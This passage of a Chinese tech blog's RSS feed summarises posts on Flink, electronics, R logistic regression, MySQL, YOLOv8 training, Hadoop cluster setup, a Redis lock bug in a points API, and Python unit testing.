      <guid>https://bchobby.github.io/posts/f45258ec43a1253464b6fd7962bce1d4/</guid>
      <description> 流处理 自然环境中数据的产生都是流式的，分析数据时，可以围绕有界流（bounded）和无解流（unbounded）两种模型来处理数据 在flink中，应用程序由用户自定义算子转换而来的流式dataflows组成。这些流式dataflows形成了有向图，以一个或多个源（source）开始，并以一个或多个汇（sink）结束 并行Dataflows flink程序本质上是分布式并行程序，在程序执行期间，一个流有一个或多个分区，每个算子有一个或多个子任务（operator subtask）。每个子任务彼此独立，并且在不同的线程中运行，或在不同的计算机或容器中运行 算子的子任务数就是对应算子的并行度。在同一程序中，不同算子也可能具有不同并行度 数据传输 一对一(直传)模式：同一分区的数据传输到下游的同一分区（输入的数据及其顺序完全相同） 重新分发模式：根据不同的算子进行不同的数据分发模式，如keyBy()通过散列键重新分区、broadcast()广播、rebalance()随机重新分发 自定义时间流处理 使用事件时间而不是处理数据的机器时间 有状态流处理 flink中的算子可以是有状态的。这意味着如何处理一个事件可能取决于该事件之前所有事件数据的累积结果 flink程序的状态访问都在本地，这有助于提高吞吐量和降低延迟。通常情况下，flink状态存储在jvm堆上，但如果状态太大，我们也可以选择将其以结构化数据格式存储在高速磁盘中 </description>
    </item>
    <item>
      <title>三极管恒流源电路</title>
      <link>https://bchobby.github.io/posts/de12ec8d408a03c7466f501f7b1c85db/</link>
      <pubDate>Wed, 15 Feb 2023 08:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de12ec8d408a03c7466f501f7b1c85db/</guid>
      <description>用三极管搭恒流源的几种形式。&#xA;配合稳压管搭恒流源&#xA;用稳压管稳定三极管基极的电压，此电压经过发射结钳位之后降低0.7V，此时发射极电压也是稳定的，发射极电压除以发射极电阻就得到恒定电流。如图，在红点处接负载，负载电流恒定为5mA。&#xA;通过调节发射极电阻阻值或者换用不同稳压值的稳压管可以实现负载电流大小的调节。&#xA;电流计算公式：&#xA;配合二极管恒流源&#xA;用两个二极管钳位，稳定基极电压1.4V。其余的分析和稳压管一样。&#xA;不管是配合稳压管还是二极管搭恒流源，它们的原理都一样，我们要挖掘出精髓出来，往后遇到这种原理图才能做到举一反三，这里恒流设计的精髓就是稳定三极管的基极电压！因为稳定基极电压之后通过射极钳位，再通过射极电阻将稳定的电压转化为稳定的电流，这样就实现了恒流！&#xA;它们通用的电流计算公式如下：&#xA;掌握了稳定基极电压这个原理，就可以拓展出很多恒流设计电路了&#xA;两个三极管搭恒流源&#xA;参考原文：《三极管恒流源》</description>
    </item>
    <item>
      <title>R语言逻辑回归(对数几率回归,Logistic)分析研究生录取数据实例</title>
      <link>https://bchobby.github.io/posts/4c322b02d494c99460464f3d5260ca13/</link>
      <pubDate>Tue, 14 Feb 2023 23:42:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c322b02d494c99460464f3d5260ca13/</guid>
      <description>最近我们被客户要求撰写关于逻辑回归的研究报告，包括一些图形和统计输出。&#xA;Logistic回归，也称为Logit模型，用于对二元结果变量进行建模。在Logit模型中，结果的对数概率被建模为预测变量的线性组合。&#xA;相关视频：R语言逻辑回归（Logistic回归）模型分类预测病人冠心病风险 逻辑回归Logistic模型原理和R语言分类预测冠心病风险实例&#xA;，时长06:48&#xA;例子 例1. 假设我们对影响一个政治候选人是否赢得选举的因素感兴趣。结果（因）变量是二元的（0/1）；赢或输。我们感兴趣的预测变量是花在竞选上的钱，花在竞选上的时间，以及候选人是否是现任者。&#xA;例2. 一个研究者对GRE（研究生入学考试成绩）、GPA（平均分）和本科院校的声望等变量如何影响研究生院的录取感兴趣。因变量，录取/不录取，是一个二元变量。&#xA;数据的描述 对于我们下面的数据分析，我们将在例2的基础上展开关于进入研究生院的分析。我们生成了假设的数据，这些数据可以在R中从我们的网站上获得。请注意，R在指定文件位置时需要正斜杠（/）而不是反斜杠（），该文件在你的硬盘上。&#xA;##查看数据的前几行 head(mydata) 这个数据集有一个二元因（结果，因果）变量，叫做录取。有三个预测变量：gre、gpa和rank。我们将把gre和gpa这两个变量视为连续变量。变量rank的值为1到4。排名为1的院校有最高的声望，而排名为4的院校有最低的声望。我们可以通过使用总结来获得整个数据集的基本描述。为了得到标准差，我们使用sapply对数据集中的每个变量应用sd函数。&#xA;你可能考虑的分析方法 以下是你可能遇到过的一些分析方法的清单。所列的一些方法是相当合理的，而其他的方法可能有局限性。&#xA;Logistic回归，是本文的重点。Probit回归。Probit分析会产生类似Logistic回归的结果。选择probit还是logit，主要取决于个人的偏好。OLS回归。当与二元因变量一起使用时，这个模型被称为线性概率模型，可以作为描述条件概率的一种方式。然而，线性概率模型的误差（即残差）违反了OLS回归的同方差和误差的正态性假设，导致标准误差和假设检验无效。双组判别函数分析。一种用于二分结果变量的多变量方法。 使用logit模型 下面的代码使用glm（广义线性模型）函数估计一个逻辑回归模型。首先，我们将等级转换为一个因子变量，以表明等级应被视为一个分类变量。&#xA;rank &amp;lt;- factor(rank) 由于我们给我们的模型起了个名字（mylogit），R不会从我们的回归中产生任何输出。为了得到结果，我们使用summary命令。 在上面的输出中，我们首先看到的是调用，这是R提醒我们所运行的模型是什么，我们指定了哪些选项，等等。接下来我们看到偏差残差，这是衡量模型拟合度的一个指标。这部分输出显示了模型中使用的各个案例的偏差残差的分布。下面我们讨论如何使用偏差统计的摘要来评估模型的拟合度。输出的下一部分显示了系数、它们的标准误差、z统计量（有时称为Wald z统计量）以及相关的p值。gre和gpa都有统计学意义，三个等级项也是如此。逻辑回归系数给出了预测变量增加一个单位时结果的对数几率变化。 gre每增加一个单位，录取（与未录取）的对数几率增加0.002。gpa增加一个单位，被研究生院录取的对数几率就会增加0.804。级别的指标变量有一个稍微不同的解释。例如，就读于排名为2的本科院校与排名为1的院校相比，被录取的对数几率会改变为-0.675。系数表下面是拟合指数，包括无效和偏差残差以及AIC。稍后我们将展示一个例子，说明如何使用这些值来帮助评估模型的拟合。 我们可以使用confint函数来获得系数估计值的置信区间。注意，对于logistic模型，置信区间是基于剖析的对数似然函数。我们也可以通过使用默认的方法，只根据标准误差来获得CI。&#xA;我们可以用wald.test函数来检验等级的整体效应。系数表中系数的顺序与模型中项的顺序相同。这一点很重要，因为wald.test函数是按照系数在模型中的顺序来参考的。我们使用wald.test函数。b提供了系数，而Sigma提供了误差项的方差协方差矩阵，最后Terms告诉R模型中哪些项要被测试，在本例中，4、5、6项是等级水平的三个项。&#xA;卡方检验统计量为20.9，有三个自由度，P值为0.00011，表明等级的总体影响在统计上是显著的。&#xA;我们还可以检验关于不同等级的系数差异的其他假设。下面我们测试等级=2的系数是否等于等级=3的系数。下面的第一行代码创建了一个向量l，定义了我们要执行的测试。在这种情况下，我们要测试等级=2的项和等级=3的项（即模型中的第4和第5项）的差异（减法）。为了对比这两个项，我们把其中一个项乘以1，另一个项乘以-1。下面的第二行代码使用L=l来告诉R，我们希望以向量l为基础进行测试（而不是像上面那样使用Terms选项）。&#xA;wald.test(b , Sigma , L = l) 1个自由度的卡方检验统计量为5.5，P值为0.019，表明等级=2的系数和等级=3的系数之间的差异具有统计学意义。&#xA;你也可以对系数进行指数化，并将其解释为概率。为了得到指数化的系数，你要告诉R你要进行指数化（exp），你要指数化的对象叫做coefficients，它是mylogit的一部分（coef(mylogit)）。我们可以使用同样的逻辑，通过对之前的置信区间进行指数化，得到概率及其置信区间。为了把这些都放在一个表中，我们用cbind把系数和置信区间按列绑定起来。&#xA;## 概率比 ##概率和95％CI 现在我们可以说，gpa增加一个单位，被研究生院录取（与未被录取）的几率就会增加2.23倍。请注意，截距的几率一般不会被解释。&#xA;你也可以使用预测概率来帮助你理解模型。预测概率可以针对分类和连续预测变量进行计算。为了创建预测的概率，我们首先需要创建一个新的数据框架，其中包含我们希望自变量采取的数值，来创建我们的预测。&#xA;我们将首先计算每个等级值的预测录取概率，保持gre和gpa的平均值。首先，我们创建并查看数据框架。&#xA;data.frame(mean(gre), mean(gpa), factor(1:4)) ## 查看数据框 这些对象的名称必须与上述逻辑回归中的变量相同（例如，在本例中，gre的平均值必须被命名为gre）。 现在我们有了要用来计算预测概率的数据框，我们可以告诉R来创建预测概率。下面的第一行代码非常紧凑，我们将把它拆开来讨论各个部分的作用。newdata1$rankP告诉R，我们要在数据集（数据框）newdata1中创建一个名为rankP的新变量，命令的其余部分告诉R，rankP的值应该是使用predict（ ）函数进行的预测。括号内的选项告诉R，预测应该基于mylogit分析，预测变量的值来自newdata1，预测的类型是预测的概率（type=&#34;response&#34;）。代码的第二行列出数据框newdata1中的值。这是预测概率的表格。&#xA;predict(mylogit, newdata, type) 在上面的输出中，我们看到，在保持gre和gpa的平均值的情况下，来自最高声望的本科院校（排名=1）的学生被研究生课程录取的预测概率为0.52，而来自排名最低的院校（排名=4）的学生为0.18。我们可以做一些非常类似的事情，创建一个预测概率的表格，改变gre和排名的值。我们将绘制这些图表，因此我们将在每个等级值（即1、2、3和4）上创建100个200至800的gre值。&#xA;gre = rep(seq(from = 200, to = 800, length.out = 100), 4), mean(gpa), factor(rep(1:4, each = 100)) 生成预测概率的代码（下面第一行）与之前的相同，只是我们还要提供标准误差，这样我们就可以绘制一个置信区间。我们在链接标度上得到估计值，并将预测值和置信区间都反过来转化为概率。</description>
    </item>
    <item>
      <title>mysql数据库</title>
      <link>https://bchobby.github.io/posts/e53fcd20fd2c36789c595383892d63e3/</link>
      <pubDate>Tue, 14 Feb 2023 22:46:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e53fcd20fd2c36789c595383892d63e3/</guid>
      <description>MySQL数据库 MySQL，使用最常用的结构化查询语言(SQL)进行数据库管理(CURD)&#xA;MySQL常用命令 连接到mysql服务器&#xA;mysql -h[服务器地址/IP] -p[端口号] -u&amp;lt;用户名&amp;gt; -p&amp;lt;密码&amp;gt; -h：目标数据库服务器地址名称或IP地址，本机可以省略此参数 -P：访问应用程序端口号（P必须大写），本机可省略 -u：登录数据库服务器用户名，必须写参数 -p：登录用户密码，必须写参数 查看MySQL数据库信息&#xA;&amp;gt; show databases\g &amp;gt; show databases; 使用目标数据库&#xA;&amp;gt; use databases_name &amp;gt; use mysql; --使用mysql系统数据库 查看当前数据库中所有表名称&#xA;&amp;gt; show tables; 查看数据字符编码集信息&#xA;&amp;gt; show variables like &#39;character%&#39;; 查看命令帮助信息&#xA;&amp;gt; ? 或 \? 或 help 看成当前已登录的用户&#xA;&amp;gt; select user(); 或 select current_user; 查看数据库表结构信息&#xA;&amp;gt; desc table_name; &amp;gt; desc db; 关系型数据库 一行一条记录，一列一个字段。&#xA;创建MySQL数据库 DDL 数据定义语言，主要用来创建修改以及删除数据库对象，包括creat，drop，alter …DML 数据操纵语言,主要用来对表中的数据进行增删改操作,包括insert,update,delete…DQL 数据查询语言,主要用来查询数据库表中业务数据,通常包括selec…DCL 数据控制语言，对数据访问权进行控制，包括授与，回收权限操作，主要包括grant以及revokeTCL 事物控制语言，主要在执行事物是使用实现对事物的控制，包括commit，Rollback以及savepoint 数据库创建</description>
    </item>
    <item>
      <title>LeetCode 刷题之堆【Python版】</title>
      <link>https://bchobby.github.io/posts/77a9303717a99038e6e4dbf9cfb862c5/</link>
      <pubDate>Tue, 14 Feb 2023 22:34:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77a9303717a99038e6e4dbf9cfb862c5/</guid>
      <description>1. heapq 堆 Python 中只有最小堆：&#xA;import heapq a = [] heapq.heappush(a, 3) # 添加元素 heapq.heappush(a, 2) heapq.heappush(a, 1) while len(a): # 判断堆的长度 print(heapq.heappop(a)) # 弹出堆顶元素 # 将列表转换为最小堆 nums = [2, 3, 1, 4, 5, 6] heapq.heapify(nums) while len(nums): print(heapq.heappop(nums)) # 转换为最大堆 nums_1 = [2, 3, 1, 4, 5, 6] max_heap = [] for i in max_heap: heapq.heappush(max_heap, i * -1) # 对当前元素乘 -1 ，取出来后再乘以 -1 2. 数组中的第 K 个最大元素 215.</description>
    </item>
    <item>
      <title>caj转pdf在线转换器免费，不限制页数。</title>
      <link>https://bchobby.github.io/posts/e8a8d7605c7a9bab1c98cd5ab5cd2545/</link>
      <pubDate>Tue, 14 Feb 2023 21:41:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8a8d7605c7a9bab1c98cd5ab5cd2545/</guid>
      <description>CAJ文献格式是一种常见的文献格式类型，无论是文科还是理科都经常使用。但是很多打印店无法打印CAJ格式的文件，因此需要将其转换为PDF文件。。那么我们怎么把caj文件转化成PDF格式呢？今天我就给大家分享两个caj文件转PDF的好办法。&#xA;方法一：记灵在线工具&#xA;工具地址：记灵在线工具 - 更专注于发现工具的实用性&#xA;1.打开工具，找到【CAJ转PDF】工具。&#xA;2.上传需要转换的CAJ文件到服务器进行在线转换。&#xA;3.点击确认转换&#xA;4.等待文件在云端转换完成，下载转换好的PDF文件。&#xA;方法二：CAJViewer阅读器&#xA;CAJViewer阅读器又称为CAJ阅读器，是一款用于阅读和编辑CNKI系列数据库文献的专用阅读器。支持多种文档格式、阅读和编辑功能更加方便齐全、对文献的管理功能增强，是一款集体积小、功能强大、占用资源少、使用方便等优点于一身的文献阅读软件。&#xA;方法很简单，将CAJ文献转换为PDF格式，可以使用Windows系统自带的虚拟打印功能，将CAJ文献打印成PDF格式即可。不需要安装第三方软件，操作简便。&#xA;1、CAJViewer界面，点击文件点击打印&#xA;2、打印机选择Microsoft Print to PDF点击确定&#xA;3、输入一个文件名，点击保存&#xA;这就是CAJ转PDF的两种方法，方法一适合没用CAJ阅读器的情况，大家根据自己的情况选择转换方法即可。</description>
    </item>
    <item>
      <title>YOLOv8 目标检测 | 自定义数据集</title>
      <link>https://bchobby.github.io/posts/2d37ef71bfcab3628307e6b9e873c46c/</link>
      <pubDate>Tue, 14 Feb 2023 21:03:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d37ef71bfcab3628307e6b9e873c46c/</guid>
      <description>本文介绍了使用用于目标检测的自定义数据训练 YOLOv8 模型。我正在使用来自 kaggle 的 yolo 格式的“Face Mask Dataset”，数据集链接如下：https://www.kaggle.com/datasets/maalialharbi/face-mask-dataset?resource=download&#xA;YOLOv8 是目前最先进的 YOLO 模型，可用于目标检测、图像分类和实例分割任务。&#xA;我使用 Google Colab 进行训练，如果您有兴趣使用 YOLOv5 对自定义数据进行检查，可是使用下面链接中的代码：https://github.com/Balakishan77/yolov5_custom_traffic_sign_detector。&#xA;关于这个用于目标检测任务的数据集：&#xA;数据集“Face Mask Dataset”已转换好 YOLO 格式以用于检测任务。它既可以用于训练，也可以用于测试。&#xA;图像数据集可以切分如下：&#xA;测试：136 =10%&#xA;训练：990 = 70%&#xA;验证：294 = 20%&#xA;总计 = 1420 张图片&#xA;图像数据增强是为了增加数据集的大小并使其更强大。图像格式：JPEG、PNG，共有 3 个类：no_mask mask improper_mask。&#xA;训练自定义检测模型：&#xA;我正在使用 Yolov8m 对口罩数据进行自定义训练。我通过从 Google Drive 读取数据并在 Google colab 上进行训练。以下步骤将详细介绍使用 YOLOv8 在 Mask Data 上进行自定义训练：&#xA;配置 Google Colab&#xA;YOLOv8 安装&#xA;安装 Google Drive&#xA;创建 face_mask_detetcion.yaml（数据集配置文件）（YOLOV8格式）&#xA;训练我们的自定义口罩检测模型</description>
    </item>
    <item>
      <title>计网实验2-网络测速</title>
      <link>https://bchobby.github.io/posts/6025100ac1e3b4abef167631a0ec0d9c/</link>
      <pubDate>Tue, 14 Feb 2023 20:19:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6025100ac1e3b4abef167631a0ec0d9c/</guid>
      <description>实验准备： win10系统64位计算机 实验概述： 目的：了解你的互联网服务的带宽 了解你的互联网服务的带宽；了解速度测试的工作原理。&#xA;速度测试的工作。&#xA;任务： 第一部分 使用浏览器（Chrome或Firefox）访问www.speedtest.net。在网站的&#xA;在网站上看到的地图上，找到离你的电脑最近的服务器，并命名为服务器A。&#xA;同时，选择一个遥远的服务器（至少在1000英里以外），并将其命名为服务器B。&#xA;然后，回答下列问题。&#xA;(1) 用服务器A进行速度测试，并记录下载带宽。&#xA;测得的带宽和你的服务提供商宣传的带宽之间的差异是多少？&#xA;相差大约40%&#xA;(2) 计算从服务器A和B到你的电脑的传播延迟。&#xA;条件:主机之间传输介质长度D=1000km。电磁波传播速度为2*108m/s。则传播延时= 1000km / 2x108m/s = 10x105m / 2x108m/s =5x10-3 s = 5ms&#xA;(3)使用问题1中测量的带宽来计算从服务器A到你的计算机的&#xA;电脑的带宽-延迟乘积和从服务器B到你的电脑的带宽-延迟乘积。&#xA;从服务器B到你的计算机的带宽延迟乘积。&#xA;时延带宽积 = 传播时延 * 带宽&#xA;A:5ms* 359mbps&#xA;B:5ms* 88mbps&#xA;第二部分 通过访问这个网站阅读速度测试的工作原理。&#xA;https://support.speedtest.net/entries/20862782-How-does-the-test-itself-w&#xA;ork-How-is-the result-calculated- 然后回答下列问题&#xA;问题。&#xA;你认为速度测试所使用的协议是什么？ speedtest是承载在HTTP协议之上的，包括ping测试，下载测试和上传测试（Speedtest.net operates entirely over HTTP for maximum compatibility. It tests ping (latency), download speed and upload speed.）&#xA;解释为什么带宽测量更可能是准确的？&#xA;如果你使用附近的服务器并从它那里下载小文件，而不是使用远处的服务器 并从它那里下载大文件。 长距离传输会产生无法忽略的传输时延，在网速测量中，我们关注数据在互联网管道中传输的速率。带宽越宽，网速也就越快，其实这不代表延迟低，因为信号都是光速，在不达到带宽瓶颈的情况下，延迟应该是稳定的。当然达到了带宽瓶颈需要排队发送的时候，那延迟肯定就会高了带宽越宽，也就是我们能以更多的频率在网上传输数据，同一时刻可以传输的信号就有更多的频率可以去表示，那么传输的信息就越多。用来表示网络数据传输速率是准确的。</description>
    </item>
    <item>
      <title>因为锁的问题，我们被扣了1万</title>
      <link>https://bchobby.github.io/posts/102208235fd476e33536ee1ed14f314e/</link>
      <pubDate>Tue, 14 Feb 2023 18:03:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/102208235fd476e33536ee1ed14f314e/</guid>
      <description>前言 春节放假期间，一个项目上的积分接口被刷，而且不止一个人在刷，并且东西也被兑走，放假晚上被人叫起来排查问题，通过这个人的积分明细观察，基本一秒就能获取一次，远远超过了积分规则限定的次数，这肯定是用脚本了，虽然后期联系死活说自己是正常途径获取。由于是业主，我们还是决定自己来承担这个损失，被项目方从合同中扣除奖品费用1万余元。&#xA;问题原因 先说下接口的逻辑层次结构：&#xA;–controller 积分获取接口，用PointController表示&#xA;–service 积分获取接口service，用PointService表示&#xA;我用伪代码来表示整个调用逻辑：&#xA;PointController&#xA;@RestController public class PointController { @Resource private PointService pointService; @GetMapping(/addPoint) public Response addPoint() { //分布式锁，使用redis的NX命令 RedisDistributedLock lock = new RedisDistributedLock(); //创建一个3s过期，100ms休眠的锁 if(lock.lock(&#34;POINT_KEY&#34;, 3000L, 100L)) { try { //调用 pointService.addPoint(); } catch (Exception ex) { e.printStackTrace; } finally { //解锁 lock.unlock(&#34;POINT_KEY&#34;); } } return Response.ok(getLastPoint()); } } 创建一个分布式锁对象，该分布式锁使用redis的NX命令实现随后创建一个3s过期的分布式锁，以便锁住该新增积分的请求最后在新增积分执行完后，在finally中释放锁最后返回该用户的最终积分 PointService&#xA;public class PointService { @Transactional(rollbackFor = Exception.class) public void addPoint() { //查询积分规则 PointRule pointRule = getPointRule(); //查询用户该积分项的积分获取记录总数 Integer total = getPointRecords(); //判断该用户的积分记录总数是否大于 积分规则限定的次数 //大于则不处理，返回 if(total - pointRule.</description>
    </item>
    <item>
      <title>sqlserver除法保留两位小数</title>
      <link>https://bchobby.github.io/posts/2774175d2de19aba9dc3a7ebb4269681/</link>
      <pubDate>Tue, 14 Feb 2023 17:38:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2774175d2de19aba9dc3a7ebb4269681/</guid>
      <description>SQL Server 中可以使用 ROUND 函数来保留除法的结果的小数位。例如：&#xA;SELECT ROUND(column1 / column2, 2) AS result FROM table_name; 其中，ROUND 函数的第一个参数是除法的结果，第二个参数是保留的小数位数。</description>
    </item>
    <item>
      <title>PFC离散元与3DEC离散元数值模拟</title>
      <link>https://bchobby.github.io/posts/cf4507ece9bda0216cc7b6e5773a5c0c/</link>
      <pubDate>Tue, 14 Feb 2023 16:24:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf4507ece9bda0216cc7b6e5773a5c0c/</guid>
      <description>随着我国经济的发展，岩土工程涉及的要求从材料、理论到施工工艺都提出了全方位的系统升级。在岩土工程分析设计中，3DEC和PFC软件快速建模也一直是岩土工作者所关注的问题。3DEC是非连续岩石力学与结构问题的首选分析程序，从岩石边坡失稳的发展研究到地下工程挖掘和岩石地基工程中节理岩体、断层、层理等结构影响的模拟估算，3DEC在复杂行业问题研究有很大优势。而PFC离散元计算方法在岩体的动态、非线性过程的数值计算方面较传统的连续元有独特的优势和进步，在PFC计算中无需给定材料的宏观本构关系和对应的参数，这些传统的参数和力学特性在程序中可以自动得到。离散元数值模拟试验的方法可以解决传统试验造价高、操作繁琐、材料模型复杂等难题，并且可以精确化数值，在科研工作中发挥了非常重要的作用。&#xA;以下可以作为学习的参考&#xA;PFC离散元仿真核心技术与应用 理论基础及PFC入门&#xA;1 岩土工程数值模拟方法概述&#xA;1.1基于网格的模拟方法（有限元、有限差分、大变形处理CEL、ALE、XFEM）&#xA;1.2基于点的模拟方法（离散单元法DEM、光滑粒子流方法SPH、物质点法MPM）&#xA;1.3基于块体的模拟方法&#xA;2 离散元与PFC软件操作&#xA;2.1 离散元的基本原理（计算原理、宏观参量与微观参量的关系）&#xA;2.2 PFC软件界面操作&#xA;2.3文件系统&#xA;2.4显示控制&#xA;2.5帮助文档的使用&#xA;FISH、PYTHON语言及COMMAND命令&#xA;3 PFC软件的计算控制方法&#xA;3.1 PFC计算控制的语言逻辑&#xA;3.2 FISH语言（基本语法、函数定义与调用、创建模型、控制模拟过程、处理模拟结果、FISH Callback操作等）&#xA;3.3 COMMAND命令（命令结构、创建模型、状态监测与绘图、控制模拟过程、求解控制、状态查询、与FISH语言的混合使用等）&#xA;3.4 PYTHON语言（基本语法、Numpy库的使用、接口的使用等）&#xA;离散元模拟方法&#xA;4 离散元模拟方法&#xA;4.1离散元数值试样的生成方法&#xA;4.1.1单元试样模型生成方法&#xA;4.1.2边值问题（场地）模型生成方法&#xA;4.1.3连续—非连续耦合模型生成方法&#xA;4.1.4复杂颗粒形状的模拟方法（Rblock方法、Clump方法）&#xA;4.2接触模型选择与参数标定&#xA;4.2.1离散元接触模型的选择原则—12个内置模型&#xA;4.2.2接触模型参数的标定方法与参数意义—以胶结颗粒材料（岩石、胶结砂土等）为例，讲授参数标定步骤&#xA;4.3其他问题&#xA;4.3.1模型边界条件施加方法（达到初始平衡状态、开挖类模拟、填筑类模拟、加载类模拟、周期性边界、应力伺服）&#xA;4.3.2各种阻尼的选择（粘滞阻尼、局部阻尼、滞回接触模型）&#xA;4.3.3时步与时步缩放（静力、动力问题时步及相关命令）&#xA;4.3.4试样尺寸、颗粒数量、级配选择&#xA;4.3.5 并行计算&#xA;土体单元试验模拟&#xA;5 土体单元试验模拟方法&#xA;5.1常规三轴剪切试验模拟(命令流+FISH)&#xA;5.1.1建模方法与注意事项&#xA;5.1.2模拟结果分析&#xA;5.1.3模拟结果可视化&#xA;5.2真三轴剪切模拟(命令流+FISH)&#xA;5.2.1真三轴加载路径的模拟&#xA;5.2.2真三轴强度准则&#xA;5.2.3微观结构演变过程&#xA;5.3不排水三轴剪切模拟(命令流+FISH)&#xA;5.4循环三轴剪切的模拟(命令流+FISH)&#xA;5.5颗粒破碎过程模拟(命令流+FISH)&#xA;5.6岩石（胶结颗粒）材料的剪切过程模拟&#xA;5.7离散元模拟与弹塑性本构模型&#xA;工程实例分析&#xA;6 工程实例分析&#xA;6.1活动门试验模拟(命令流+FISH)&#xA;6.1.1试样级配控制</description>
    </item>
    <item>
      <title>Visual Studio 2022调试控制台界面大小设置</title>
      <link>https://bchobby.github.io/posts/eab88cc797d7a975cb4a0732be61212f/</link>
      <pubDate>Tue, 14 Feb 2023 16:14:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eab88cc797d7a975cb4a0732be61212f/</guid>
      <description>网上大多是关于VS2019控制台大小的设置，关于VS2022的设置很少，特此与大家进行分享。&#xA;系统：win11。&#xA;软件版本：VS2022。&#xA;首先创建一个简单的控制台程序&#xA;进行调试&#xA;右键打开设置&#xA;在启动选项找到启动大小&#xA;改为自己喜欢的大小并保存&#xA;再次运行程序，可以发现界面大小发生了改变</description>
    </item>
    <item>
      <title>使用虚拟机完成Hadoop完全分布式的搭建</title>
      <link>https://bchobby.github.io/posts/b10b68df733014bd8e1fda3d01b2e849/</link>
      <pubDate>Tue, 14 Feb 2023 16:10:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b10b68df733014bd8e1fda3d01b2e849/</guid>
      <description>1、首先要下载好虚拟机VMware workstation，并进行安装。&#xA;链接：https://pan.baidu.com/s/1EuNflW8so-xx46qrdCRbDg 提取码：hjl4&#xA;2、下载Linux的对应版本，可以通过官网下载。&#xA;链接：https://pan.baidu.com/s/1DJ411izE54jI014dgVwekg 提取码：hjl4&#xA;3、在VMware上新建三台虚拟机（以示范为主），主机名分别为master、slave1，slave2。&#xA;4、创建好虚拟机后，每台虚拟机都要进行以下几步操作。&#xA;设置静态IP； 关闭防火墙； 修改主机名； 配置主机名与IP映射； 设置SSH免密登录； 安装Java运行环境； 配置时间同步服务； 设置静态IP&#xA;在打开的虚拟机的命令行中输入以下代码，然后回车&#xA;vi /etc/sysconfig/network-scripts/ifcfg-ens33 并将以下标记的项进行添加和修改。（修改不了记得切换root用户） IPADDR=192.168.5.130 NETMASK=255.255.255.0 GATEWAY=192.168.5.2 DNS1=114.114.114.114 DNS2=8.8.8.8 要根据自身的电脑去设置IPADDR和GATEWAY。这里只是示例。&#xA;关闭防火墙 使用以下命令关闭防火墙&#xA;关闭——systemctl stop firewalld.service&#xA;永久关闭——systemctl disable firewalld.service（防止重启虚拟机后防火墙重新开启）&#xA;查看状态——firewall-cmd --state&#xA;修改主机名&#xA;vi /etc/hostname 把原本的改为master（其他两台虚拟机是slave1和slave2）&#xA;修改完后需要重启虚拟机&#xA;shutdown -r now 重启后&#xA;配置主机名与IP映射&#xA;vi /etc/hosts 添加以下代码&#xA;192.168.5.130 master 192.168.5.131 slave1 192.168.5.132 slave2 设置SSH免密登录&#xA;在三台虚拟机中都使用以下命令生成密钥。输入命令后一直回车。&#xA;ssh-keygen -t rsa 出现以下结果为成功&#xA;然后在三个虚拟机都输入以下命令&#xA;ssh-copy-id -i ~/.ssh/id_rsa.pub master ssh-copy-id -i ~/.</description>
    </item>
    <item>
      <title>软件测试-python-UnitTest-笔记</title>
      <link>https://bchobby.github.io/posts/43f9c00445cc24a945a6835e0aa634f7/</link>
      <pubDate>Tue, 14 Feb 2023 15:54:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43f9c00445cc24a945a6835e0aa634f7/</guid>
      <description>UnitTest unittest是Python单元测试框架，类似于JUnit框架。&#xA;unittest中有4个重要的概念：test fixture, test case, test suite, test runner Testcase： 一个TestCase的实例就是一个测试用例。什么是测试用例呢？就是一个完整的测试流程，包括测试前准备环境的搭建(setUp)，执行测试代码 (run)，以及测试后环境的还原(tearDown)。元测试(unit test)的本质也就在这里，一个测试用例是一个完整的测试单元，通过运行这个测试单元，可以对某一个问题进行验证。&#xA;Test suite： 多个测试用例集合在一起，就是TestSuite，而且TestSuite也可以嵌套TestSuite。&#xA;Test runner： 是来执行测试用例的，其中的run(test)会执行TestSuite/TestCase中的run(result)方法。&#xA;TestLoader： 是用来加载TestCase到TestSuite中的，其中有几个loadTestsFrom__()方法，就是从各个地方寻找TestCase，创建它们的实例，然后add到TestSuite中，再返回一个TestSuite实例。&#xA;Test fixture： 对一个测试用例环境的搭建和销毁，是一个fixture，通过覆盖 TestCase的setUp()和tearDown()方法来实现。这个有什么用呢？比如说在这个测试用例中需要访问数据库，那么可以在setUp() 中建立数据库连接以及进行一些初始化，在tearDown()中清除在数据库中产生的数据，然后关闭连接。注意tearDown的过程很重要，要为以后的 TestCase留下一个干净的环境。关于fixture，还有一个专门的库函数叫做fixtures，功能更加强大。&#xA;使用unittest编写python的单元测试代码，包括如下几个步骤： 1、编写一个python类，继承 unittest模块中的TestCase类，这就是一个测试类&#xA;2、在上面编写的测试类中定义测试方法（这个就是指的测试用例），每个方法的方法名要求以 test 打头，没有额外的参数。 在该测试方法中 调用被测试代码，校验测试结果，TestCase类中提供了很多标准的校验方法，如 最常见的assertEqual。&#xA;3、执行 unittest.main() ，该函数会负责运行测试，它会实例化所有TestCase的子类，并运行其中所有以test打头的方法。&#xA;用法 1.用import unittest导入unittest模块&#xA;2.定义一个继承自unittest.TestCase的测试用例类，如class xxx(unittest.TestCase):&#xA;3.定义setUp和tearDown，这两个方法与junit相同，即如果定义了则会在每个测试case执行前先执行setUp方法，执行完毕后执行tearDown方法。&#xA;4.定义测试用例，名字以test开头，unittest会自动将test开头的方法放入测试用例集中。&#xA;5.一个测试用例应该只测试一个方面，测试目的和测试内容应很明确。主要是调用assertEqual、assertRaises等断言方法判断程序执行结果和预期值是否相符。&#xA;6.调用unittest.main()启动测试&#xA;7.如果测试未通过，则会显示e，并给出具体的错误（此处为程序问题导致）。如果测试失败则显示为f，测试通过为.，如有多个testcase，则结果依次显示。&#xA;代码&#xA;import unittest # class FirstTest(unittest.TestCase): # # def test_1(self): # print(&#34;test_1&#34;) # # def test_2(self): # print(&#34;test_2&#34;) # # # if __name__ == &#39;_main&#39;: # unittest.</description>
    </item>
    <item>
      <title>接口自动化测试-python-笔记</title>
      <link>https://bchobby.github.io/posts/87109b8be2924ae6d568f3b533f42fc1/</link>
